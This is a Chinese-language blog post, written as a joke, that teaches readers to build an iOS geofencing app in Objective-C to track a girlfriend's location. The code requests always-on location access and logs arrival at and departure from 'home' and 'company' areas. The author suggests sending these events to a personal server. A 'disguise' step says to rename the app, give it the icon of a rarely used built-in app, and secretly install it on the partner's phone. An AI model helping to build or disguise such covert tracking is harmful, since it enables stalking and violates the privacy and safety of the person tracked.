有意思iOS DeveloperiOS 开发

教你做一个随时查看女票在哪里的爱心app~

2016-04-10  本文已影响304人  DingGa

众所周知,程序员是一个赚得少,做的多,老的快,死的早的物种,但是尼玛现在还是有一大票的男生前赴后继加入了这条不归路,然后他们遇到了一个非常严峻的问题,不是需求分析,不是技术实现,不是无休止的加班,而是他们都成了新世纪的光棍储备大军,没有女友啊!

所以,程序员一旦有了女朋友,必须是12分关爱!

今天教大家如何轻松给自家女票装上一个,爱心💗监听app 😜

第一步

MacBook 一台,装上 Xcode  🤗 (哈哈啊哈哈  )

第二步

先解释一下原理

指定一个区域(以指定经纬度为圆心,指定距离为半径的圆形区域),当安装该App的用户进入该区域时,会收到用户进入该区域消息;当用户离开该区域时,会收到用户离开该区域消息。

应用:上下班打卡App等~

这里我们用来实时查看女票位置,有危险时,随时出现到女票身边!!!☺️😉

上代码

1.导入框架

#import"ViewController.h"

#import

@interfaceViewController()

//注释

CoreLocation/CoreLocation.h 系统原生定位框架,

2.

//定位授权一定要使用awlays

[self.managerrequestAlwaysAuthorization];

//设置代理

self.manager.delegate=self;

3.创建指定区域-(指定区域以经纬度设计,如果你喜欢可以设置多个,操场 小区 菜市场 都可以)

//identifier:@""区域名称以center经纬度为圆心以radius(这里我设了50米,如果愿意你们也可以设的更精确一点)为半径的圆形区域

CLCircularRegion*companyRegion= [[CLCircularRegionalloc]initWithCenter:CLLocationCoordinate2DMake(20,100)radius:50.identifier:@"company"];

CLCircularRegion*homeRegion= [[CLCircularRegionalloc]initWithCenter:CLLocationCoordinate2DMake(21,101)radius:50.identifier:@"home"];

4.监听指定区域

[self.managerstartMonitoringForRegion:companyRegion];

[self.managerstartMonitoringForRegion:homeRegion];

5.进入指定区域代理方法

#pragma mark -代理方法

- (void)locationManager:(CLLocationManager*)manager didEnterRegion:(CLRegion*)region

{

if([region.identifierisEqualToString:@"home"]) {

NSLog(@"安全到家了");

self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

self.label.text=@"老婆大人~到家了";

}elseif([region.identifierisEqualToString:@"company"]){

NSLog(@"回公司了");

self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

self.label.text=@"老婆大人~到公司了";

}

}

//解释,这个方法当用户 app 进入指定区域后调用

我这里用了 NSLog 如果愿意可以向自己服务器发送一个数据,就可以实时查看了😌😌

6.离开区域发送消息

- (void)locationManager:(CLLocationManager*)manager didExitRegion:(CLRegion*)region

{

if([region.identifierisEqualToString:@"home"]) {

NSLog(@"离开家了");

self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

self.label.text=@"老婆大人~离开家了";

}elseif([region.identifierisEqualToString:@"company"]){

NSLog(@"离开公司了");

self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

self.label.text=@"老婆大人~离开公司了";

}

}

7.监听失败时候检查

- (void)locationManager:(CLLocationManager*)manager monitoringDidFailForRegion:(CLRegion*)region withError:(NSError*)error

{

//监听区域失败

NSLog(@"%ld",error.code);

}

#pragma mark -

- (CLLocationManager*)manager

{

if(_manager==nil) {

_manager=[[CLLocationManageralloc]init];

}

return_manager;

}

修改一下  GPS位置 测试一下(是不是很棒?)

第三步- (伪装)

找一个 使用频次非 !常 !低!!!!!的app,删也删不掉的 app,比如!!!这些原生的

在 info.Plist 里把我们的爱心app  改一下名字-换个 icon

然后悄悄装到女票手机里

打开一次,运行好,以后就可以实时查看女票在哪里了....😌

也可以安心撸码了~~~😏

想想就很棒是不是?那就马上动手写一个吧!!

温馨小提示~~~

这个项目技术要求并不是很大,但好多朋友跟我说遇到了很多无解的 Bug, 在此郑重提示大家,想要完成这个项目

首先!!!!!!

你要有个女朋友~~~~~

呵呵哒呵呵哒呵呵哒~~~~~~~

给单身狗一万点暴击伤害~~~⚡️

上一篇下一篇

猜你喜欢

热点阅读